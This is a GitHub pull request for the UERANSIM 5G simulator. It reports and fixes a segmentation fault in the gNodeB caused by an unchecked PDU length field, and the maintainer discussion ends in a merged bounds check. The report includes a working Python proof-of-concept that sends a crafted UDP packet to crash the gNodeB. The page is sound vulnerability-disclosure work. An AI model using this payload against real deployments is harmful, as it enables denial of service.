Skip to content

Malformed PDU Length leads to Segmentantion fault #705

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Merged
merged 4 commits into from
Jun 8, 2024
Merged

Malformed PDU Length leads to Segmentantion fault #705

merged 4 commits into from
Jun 8, 2024

Conversation

tsiamoulis
Copy link
Contributor

Affected versions

3.2.6 >=

Steps to reproduce

i) Build and setup UERANSIM v3.2.6 gNodeB following the installation guide from the wiki (https://github.com/aligungr/UERANSIM/wiki/Installation).
ii) Adjust the appropriate values and run the following python script

import socket

GNB_HOST = '127.0.0.1'
GNB_PORT = 4997
RLS_VERSION = b'\x03\x02\x06'

rls_sti = b'\x48\x5a\x86\x7a\x58\xf9\xba\xd4'
rls_pduType = b'\x01'
rls_rrcMsgType = b'\x00\x00\x00\x00\x00\x00\x00\x01'

# PDU Length = 20871
rls_pduLength = b'\x00\x00\x51\x87'

def poc(packet, ip, port):
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    try:
        udp_socket.sendto(packet, (ip, port))
        print('Payload sent successfully')
    except Exception as e:
        print('Error:', e)
    finally:
        udp_socket.close()

if __name__ == '__main__':
	payload = b'\x03'
	payload += RLS_VERSION
	payload += b'\x06'
	payload += rls_sti
	payload += rls_pduType
	payload += rls_rrcMsgType
	payload += rls_pduLength

	poc(payload, GNB_HOST, GNB_PORT)

Core flaw

UERANSIM/src/utils/octet_view.cpp

Lines 20 to 28 in 85a0fbf

OctetString OctetView::readOctetString(int length) const
{
if (length == 0)
return {};
std::vector<uint8_t> v{data + index, data + index + length};
index += length;
return OctetString(std::move(v));
}

The flaw arises in src/utils/octet_view.cpp on line 25, where a vector is initialized. The end of the range for this initialization is influenced by the variable length, which is determined by the user sending the packet. Consequently, setting length to a very large value, specifically 20871 or higher, can lead to exceeding the maximum size of the vector or attempting to access data beyond its bounds.

Fix

A possible fix is to control the value of the variable length, by limiting its size to a maximum number of 20870.

@aligungr
Copy link
Owner

Hello

Making this modification in the core utils library would not be a good practise. And may lead to some side effects as the relevant OctetView class might be used in many different places.

We should determine the specific location and fix the issue there.

Thanks

@tsiamoulis tsiamoulis marked this pull request as draft June 4, 2024 14:17
@tsiamoulis
Copy link
Contributor Author

Hello @aligungr and sorry for the late reply.

I made a change on my PR. Instead of checking the length based on a constant, arbitrary number, it checks if index + length is larger than the size of the data that is held in the OctetView object, which could prevent any other issues arising in the future since it does the length check more dynamically. I tested UERANSIM with this modification and the program behaves as expected with no other issues.

However, if you do not want to make any changes in the OctectView class, we could still tackle this issue from the DecodeRlsMessage function which is located on src/lib/rls/rls_pdu.cpp

UERANSIM/src/lib/rls/rls_pdu.cpp

Lines 55 to 105 in 85a0fbf

std::unique_ptr<RlsMessage> DecodeRlsMessage(const OctetView &stream)
{
auto first = stream.readI(); // (Just for old RLS compatibility)
if (first != 3)
return nullptr;
if (stream.read() != cons::Major)
return nullptr;
if (stream.read() != cons::Minor)
return nullptr;
if (stream.read() != cons::Patch)
return nullptr;
auto msgType = static_cast<EMessageType>(stream.readI());
uint64_t sti = stream.read8UL();
if (msgType == EMessageType::HEARTBEAT)
{
auto res = std::make_unique<RlsHeartBeat>(sti);
res->simPos.x = stream.read4I();
res->simPos.y = stream.read4I();
res->simPos.z = stream.read4I();
return res;
}
else if (msgType == EMessageType::HEARTBEAT_ACK)
{
auto res = std::make_unique<RlsHeartBeatAck>(sti);
res->dbm = stream.read4I();
return res;
}
else if (msgType == EMessageType::PDU_TRANSMISSION)
{
auto res = std::make_unique<RlsPduTransmission>(sti);
res->pduType = static_cast<EPduType>((uint8_t)stream.read());
res->pduId = stream.read4UI();
res->payload = stream.read4UI();
res->pdu = stream.readOctetString(stream.read4I());
return res;
}
else if (msgType == EMessageType::PDU_TRANSMISSION_ACK)
{
auto res = std::make_unique<RlsPduTransmissionAck>(sti);
auto count = stream.read4UI();
res->pduIds.reserve(count);
for (uint32_t i = 0; i < count; i++)
res->pduIds.push_back(stream.read4UI());
return res;
}
return nullptr;
}

The problem is on line 91, which, in case the message type is PDU Transmission, it calls the readOctetString function, with stream.read4I() being the length of the PDU Message. We could do the if statement check there, but that could cause other issues, for example, in case a legitimate user wants to send a packet that is larger than the arbitrary number we may put.

I suggest we do the length check in the readOctetString function, since it has access to both the length and the actual size of the data. If you have any other concerns with this change, let me know.

@tsiamoulis tsiamoulis marked this pull request as ready for review June 4, 2024 15:02
@aligungr
Copy link
Owner

aligungr commented Jun 7, 2024 •
edited
Loading

@f4rs1ght Thanks for this modification.

The second approach seems solid. And also we can add an index and range checking to readOctetString function for other potential bugs. Returning an empty OctetString might hide an underlying issue. Therefore we should throw an exception instead.

Please replace return {}; with throw std::out_of_range ("Invalid arguments for readOctetString");

(With #include stdexcept)

Going back to original issue, yes, we should add a length check for line 91, as you suggested. If the length is greater than the remaining size (or greater than maximum RLS packet size, let's say 2^14=16384), we should drop and ignore that packet.

@tsiamoulis
Copy link
Contributor Author

Hello @aligungr, I made the necessary changes, feel free to test it yourself or make any other changes.

@aligungr
Copy link
Owner

aligungr commented Jun 8, 2024

Thanks @f4rs1ght
I am merging it.

@aligungr aligungr merged commit b68de9b into aligungr:master Jun 8, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
2 participants
@tsiamoulis @aligungr